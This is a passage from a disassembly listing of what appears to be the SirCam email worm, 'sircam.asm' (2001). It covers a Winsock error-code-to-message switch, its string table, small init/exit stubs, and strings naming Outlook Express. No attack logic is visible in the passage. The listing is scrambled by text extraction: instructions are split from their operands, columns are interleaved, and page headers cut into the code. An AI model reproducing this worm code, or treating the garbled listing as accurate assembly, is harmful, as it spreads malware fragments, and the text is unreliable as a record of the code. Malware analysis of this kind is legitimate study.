; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
eax, esi
; case 0x2746
edx, offset aConnectionRese ; "Connection reset by peer"
sircam.asm
Fri Aug 10 12:42:44 2001
463
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41058E:
; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
mov
eax, esi
; case 0x2747
mov
edx, offset aNoBufferSpaceA ; "No buffer space available"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41059F:
; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
mov
eax, esi
; case 0x2748
mov
edx, offset aSocketIsAlread ; "Socket is already connected"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4105B0:
; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
mov
eax, esi
; case 0x2749
mov
edx, offset aSocketIsNotCon ; "Socket is not connected"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4105C1:
; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
mov
eax, esi
; case 0x274a
mov
edx, offset aCanTSendAfterS ; "Can’t send after socket shutdown"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4105D2:
; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
mov
eax, esi
; case 0x274b
mov
edx, offset aTooManyReferen ; "Too many references:can’t splice"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4105E3:
; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
mov
eax, esi
; case 0x274c
mov
edx, offset aConnectionTime ; "Connection timed out"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4105F4:
; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
mov
eax, esi
; case 0x274d
mov
edx, offset aConnectionRefu ; "Connection refused"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410605:
; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
mov
eax, esi
; case 0x274e
mov
edx, offset aTooManyLevelsO ; "Too many levels of symbolic links"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410616:
; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
sircam.asm
Fri Aug 10 12:42:44 2001
464
mov
eax, esi
; case 0x274f
mov
edx, offset aFileNameIsTooL ; "File name is too long"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410627:
; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
mov
eax, esi
; case 0x2750
mov
edx, offset dword_410C2C
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410638:
; CODE XREF: sub_4101AC+11B\030j
; DATA XREF: sub_4101AC+122\030o
mov
eax, esi
; case 0x2751
mov
edx, offset aNoRouteToHost ; "No route to host"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410649:
; CODE XREF: sub_4101AC+107\030j
mov
eax, esi
mov
edx, offset aDirectoryIsNot ; "Directory is not empty"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41065A:
; CODE XREF: sub_4101AC+16D\030j
; DATA XREF: sub_4101AC+174\030o
mov
eax, esi
; case 0x2753
mov
edx, offset aTooManyProcess ; "Too many processes"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41066B:
; CODE XREF: sub_4101AC+16D\030j
; DATA XREF: sub_4101AC+174\030o
mov
eax, esi
; case 0x2754
mov
edx, offset dword_410C9C
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41067C:
; CODE XREF: sub_4101AC+16D\030j
; DATA XREF: sub_4101AC+174\030o
mov
eax, esi
; case 0x2755
mov
edx, offset aDiskQuotaExcee ; "Disk quota exceeded"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41068D:
; CODE XREF: sub_4101AC+16D\030j
; DATA XREF: sub_4101AC+174\030o
mov
eax, esi
; case 0x2756
mov
edx, offset aStaleNfsFileHa ; "Stale NFS file handle"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41069E:
; CODE XREF: sub_4101AC+16D\030j
; DATA XREF: sub_4101AC+174\030o
mov
eax, esi
; case 0x2757
mov
edx, offset aTooManyLevel_0 ; "Too many levels of remote in path"
call
sub_40351C
jmp
loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4106AF:
; CODE XREF: sub_4101AC+16D\030j
sircam.asm
Fri Aug 10 12:42:44 2001
465
; DATA XREF: sub_4101AC+174\030o
mov
eax, esi
; case 0x276b
mov
edx, offset aNetworkSubsyst ; "Network subsystem is unusable"
call
sub_40351C
jmp
short loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4106BD:
mov
mov
; CODE XREF: sub_4101AC+159\030j
eax, esi
edx, offset aWinsockDllCann ; "Winsock DLL cannot support this ap
plica"...
call
sub_40351C
jmp
short loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4106CB:
; CODE XREF: sub_4101AC+1EA\030j
mov
eax, esi
mov
edx, offset aWinsockNotInit ; "Winsock not initialized"
call
sub_40351C
jmp
short loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4106D9:
; CODE XREF: sub_4101AC+1F5\030j
mov
eax, esi
mov
edx, offset dword_410D98
call
sub_40351C
jmp
short loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4106E7:
mov
mov
; CODE XREF: sub_4101AC+1DF\030j
eax, esi
edx, offset aNonAuthoritati ; "Non authoritative - host not found
"
call
sub_40351C
jmp
short loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4106F5:
; CODE XREF: sub_4101AC+205\030j
mov
eax, esi
mov
edx, offset aNonRecoverable ; "Non recoverable error"
call
sub_40351C
jmp
short loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410703:
mov
mov
; CODE XREF: sub_4101AC+20C\030j
eax, esi
edx, offset aValidNameNoDat ; "Valid name, no data record of requ
ested"...
call
sub_40351C
jmp
short loc_410734
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410711:
push
lea
mov
call
push
push
mov
mov
call
; CODE XREF: sub_4101AC+74\030j
; sub_4101AC+8D\030j ...
offset aNotAWinsockErr ; default
edx, [ebp+var_4]
eax, ebx
sub_406FEC
[ebp+var_4]
offset dword_410E54
eax, esi
edx, 3
sub_4037E4
loc_410734:
; CODE XREF: sub_4101AC+223\030j
; sub_4101AC+234\030j ...
xor
pop
pop
pop
eax, eax
edx
ecx
ecx
sircam.asm
Fri Aug 10 12:42:44 2001
mov
push
fs:[eax], edx
offset loc_410751
loc_410741:
sub_4101AC
466
; CODE XREF: CODE:0041074F\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41074A:
; DATA XREF: sub_4101AC+E\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_410741
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410751:
; DATA XREF: sub_4101AC+590\030o
pop
esi
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 2
dword_410760
dd 4B4Fh, 0FFFFFFFFh, 17h ; DATA XREF: sub_4101AC+219\030o
aInterruptedSys db ’Interrupted system call’,0 ; DATA XREF: sub_4101AC+22A\030o
dd 0FFFFFFFFh, 0Fh
aBadFileNumber db ’Bad file number’,0 ; DATA XREF: sub_4101AC+23B\030o
dd 0FFFFFFFFh, 11h
aPermissionDeni db ’Permission denied’,0 ; DATA XREF: sub_4101AC+24C\030o
align 4
dd 0FFFFFFFFh, 0Bh
dword_4107C0
dd 20646142h, 72646461h, 737365h, 0FFFFFFFFh, 10h
; DATA XREF: sub_4101AC+25D\030o
aInvalidArgumen db ’Invalid argument’,0 ; DATA XREF: sub_4101AC+26E\030o
align 4
dd 0FFFFFFFFh, 13h
aTooManyOpenFil db ’Too many open files’,0 ; DATA XREF: sub_4101AC+27F\030o
dd 0FFFFFFFFh, 15h
aOperationWould db ’Operation would block’,0 ; DATA XREF: sub_4101AC+290\030o
align 4
dd 0FFFFFFFFh, 19h
aOperationNowIn db ’Operation now in progress’,0 ; DATA XREF: sub_4101AC+2A1\030o
align 4
dd 0FFFFFFFFh, 1Dh
aOperationAlrea db ’Operation already in progress’,0 ; DATA XREF: sub_4101AC+2B2\030o
align 4
dd 0FFFFFFFFh, 1Dh
aSocketOperatio db ’Socket operation on nonsocket’,0 ; DATA XREF: sub_4101AC+2C3\030o
align 4
dd 0FFFFFFFFh, 1Ch
aDestinationAdd db ’Destination address required’,0 ; DATA XREF: sub_4101AC+2D4\030o
align 4
dd 0FFFFFFFFh, 10h
aMessageTooLong db ’Message too long’,0 ; DATA XREF: sub_4101AC+2E5\030o
align 4
dd 0FFFFFFFFh, 1Eh
aProtocolWrongT db ’Protocol wrong type for socket’,0 ; DATA XREF: sub_4101AC+2F6\030o
align 4
dd 0FFFFFFFFh, 16h
aProtocolNotAva db ’Protocol not available’,0 ; DATA XREF: sub_4101AC+307\030o
align 4
dd 0FFFFFFFFh, 16h
aProtocolNotSup db ’Protocol not supported’,0 ; DATA XREF: sub_4101AC+318\030o
align 4
dd 0FFFFFFFFh, 14h
aSocketNotSuppo db ’Socket not supported’,0 ; DATA XREF: sub_4101AC+329\030o
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
467
dd 0FFFFFFFFh, 21h
aOperationNotSu db ’Operation not supported on socket’,0 ; DATA XREF: sub_4101AC+33A\030o
align 4
dd 0FFFFFFFFh, 1Dh
aProtocolFamily db ’Protocol family not supported’,0 ; DATA XREF: sub_4101AC+34B\030o
align 4
dd 0FFFFFFFFh, 1Ch
aAddressFamilyN db ’Address family not supported’,0 ; DATA XREF: sub_4101AC+35C\030o
align 4
dd 0FFFFFFFFh, 16h
aAddressAlready db ’Address already in use’,0 ; DATA XREF: sub_4101AC+36D\030o
align 4
dd 0FFFFFFFFh, 1Eh
aCanTAssignRequ db ’Can’,27h,’t assign requested address’,0 ; DATA XREF: sub_4101AC+37E
\030o
align 4
dd 0FFFFFFFFh, 0Fh
aNetworkIsDown db ’Network is down’,0 ; DATA XREF: sub_4101AC+38F\030o
dd 0FFFFFFFFh, 16h
aNetworkIsUnrea db ’Network is unreachable’,0 ; DATA XREF: sub_4101AC+3A0\030o
align 4
dd 0FFFFFFFFh, 23h
aNetworkDropped db ’Network dropped connection on reset’,0 ; DATA XREF: sub_4101AC+3B1
\030o
dd 0FFFFFFFFh, 20h
aSoftwareCaused db ’Software caused connection abort’,0 ; DATA XREF: sub_4101AC+3C2\030o
align 4
dd 0FFFFFFFFh, 18h
aConnectionRese db ’Connection reset by peer’,0 ; DATA XREF: sub_4101AC+3D3\030o
align 4
dd 0FFFFFFFFh, 19h
aNoBufferSpaceA db ’No buffer space available’,0 ; DATA XREF: sub_4101AC+3E4\030o
align 4
dd 0FFFFFFFFh, 1Bh
aSocketIsAlread db ’Socket is already connected’,0 ; DATA XREF: sub_4101AC+3F5\030o
dd 0FFFFFFFFh, 17h
aSocketIsNotCon db ’Socket is not connected’,0 ; DATA XREF: sub_4101AC+406\030o
dd 0FFFFFFFFh, 20h
aCanTSendAfterS db ’Can’,27h,’t send after socket shutdown’,0 ; DATA XREF: sub_4101AC+417
\030o
align 4
dd 0FFFFFFFFh, 20h
aTooManyReferen db ’Too many references:can’,27h,’t splice’,0 ; DATA XREF: sub_4101AC+428
\030o
align 4
dd 0FFFFFFFFh, 14h
aConnectionTime db ’Connection timed out’,0 ; DATA XREF: sub_4101AC+439\030o
align 4
dd 0FFFFFFFFh, 12h
aConnectionRefu db ’Connection refused’,0 ; DATA XREF: sub_4101AC+44A\030o
align 4
dd 0FFFFFFFFh, 21h
aTooManyLevelsO db ’Too many levels of symbolic links’,0 ; DATA XREF: sub_4101AC+45B\030o
align 4
dd 0FFFFFFFFh, 15h
aFileNameIsTooL db ’File name is too long’,0 ; DATA XREF: sub_4101AC+46C\030o
align 4
dd 0FFFFFFFFh, 0Ch
dword_410C2C
dd 74736F48h, 20736920h, 6E776F64h, 0, 0FFFFFFFFh, 10h
; DATA XREF: sub_4101AC+47D\030o
aNoRouteToHost db ’No route to host’,0 ; DATA XREF: sub_4101AC+48E\030o
align 4
dd 0FFFFFFFFh, 16h
aDirectoryIsNot db ’Directory is not empty’,0 ; DATA XREF: sub_4101AC+49F\030o
align 4
dd 0FFFFFFFFh, 12h
aTooManyProcess db ’Too many processes’,0 ; DATA XREF: sub_4101AC+4B0\030o
align 4
dd 0FFFFFFFFh, 0Eh
dword_410C9C
dd 206F6F54h, 796E616Dh, 65737520h, 7372h, 0FFFFFFFFh
sircam.asm
aDiskQuotaExcee
aStaleNfsFileHa
aTooManyLevel_0
aNetworkSubsyst
aWinsockDllCann
aWinsockNotInit
dword_410D98
aNonAuthoritati
o
Fri Aug 10 12:42:44 2001
468
; DATA XREF: sub_4101AC+4C1\030o
dd 13h
db ’Disk quota exceeded’,0 ; DATA XREF: sub_4101AC+4D2\030o
dd 0FFFFFFFFh, 15h
db ’Stale NFS file handle’,0 ; DATA XREF: sub_4101AC+4E3\030o
align 4
dd 0FFFFFFFFh, 21h
db ’Too many levels of remote in path’,0 ; DATA XREF: sub_4101AC+4F4\030o
align 4
dd 0FFFFFFFFh, 1Dh
db ’Network subsystem is unusable’,0 ; DATA XREF: sub_4101AC+505\030o
align 4
dd 0FFFFFFFFh, 2Bh
db ’Winsock DLL cannot support this application’,0
; DATA XREF: sub_4101AC+513\030o
dd 0FFFFFFFFh, 17h
db ’Winsock not initialized’,0 ; DATA XREF: sub_4101AC+521\030o
dd 0FFFFFFFFh, 0Eh
dd 74736F48h, 746F6E20h, 756F6620h, 646Eh, 0FFFFFFFFh
; DATA XREF: sub_4101AC+52F\030o
dd 22h
db ’Non authoritative - host not found’,0 ; DATA XREF: sub_4101AC+53D\030
align 4
dd 0FFFFFFFFh, 15h
aNonRecoverable db ’Non recoverable error’,0 ;
align 4
dd 0FFFFFFFFh, 2Ch
aValidNameNoDat db ’Valid name, no data record
; DATA
align 4
dd 0FFFFFFFFh, 15h
aNotAWinsockErr db ’Not a Winsock error (’,0 ;
align 4
dd 0FFFFFFFFh, 1
dword_410E54
dd 29h
; DATA
DATA XREF: sub_4101AC+54B\030o
of requested type’,0
XREF: sub_4101AC+559\030o
DATA XREF: sub_4101AC+565\030o
XREF: sub_4101AC+577\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_410E58
proc near
; DATA XREF: CODE:0041A960\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_410E7D
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E65C
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
push
offset loc_410E84
locret_410E7C:
; CODE XREF: sub_410E58+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410E7D:
; DATA XREF: sub_410E58+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_410E7C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410E84:
; CODE XREF: sub_410E58+24\030j
; DATA XREF: sub_410E58+1F\030o
pop
ebp
sircam.asm
sub_410E58
Fri Aug 10 12:42:44 2001
469
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_410E88:
; DATA XREF: CODE:0041A95C\031o
sub
ds:dword_41E65C, 1
jnb
short locret_410EB2
jmp
short locret_410EB2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
aOutlookExpre_1 db ’Outlook Express TCP/IP library’,0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
locret_410EB2:
; CODE XREF: CODE:00410E8F\030j
; CODE:00410E91\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_410EB4
proc near
; DATA XREF: CODE:0041A968\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_410ED9
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E660
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
push
offset loc_410EE0
locret_410ED8:
; CODE XREF: sub_410EB4+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410ED9:
; DATA XREF: sub_410EB4+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_410ED8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410EE0:
sub_410EB4
; CODE XREF: sub_410EB4+24\030j
; DATA XREF: sub_410EB4+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_410EE4:
; DATA XREF: CODE:0041A964\031o
sub
ds:dword_41E660, 1
jnb
short locret_410F03
jmp
short locret_410F03
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
aOutlookExpre_2 db ’Outlook Express 5.0’,0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
locret_410F03:
; CODE XREF: CODE:00410EEB\030j
; CODE:00410EED\030j
retn
sircam.asm
Fri Aug 10 12:42:44 2001
470
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_410F04
proc near
var_C0
var_BC
var_B8
var_B4
var_B0
var_AC
var_58
var_4
=
=
=
=
=
=
=
=
; CODE XREF: sub_411110+141\031p
dword ptr -0C0h
byte ptr -0BCh
dword ptr -0B8h
byte ptr -0B4h
dword ptr -0B0h
dword ptr -0ACh
dword ptr -58h
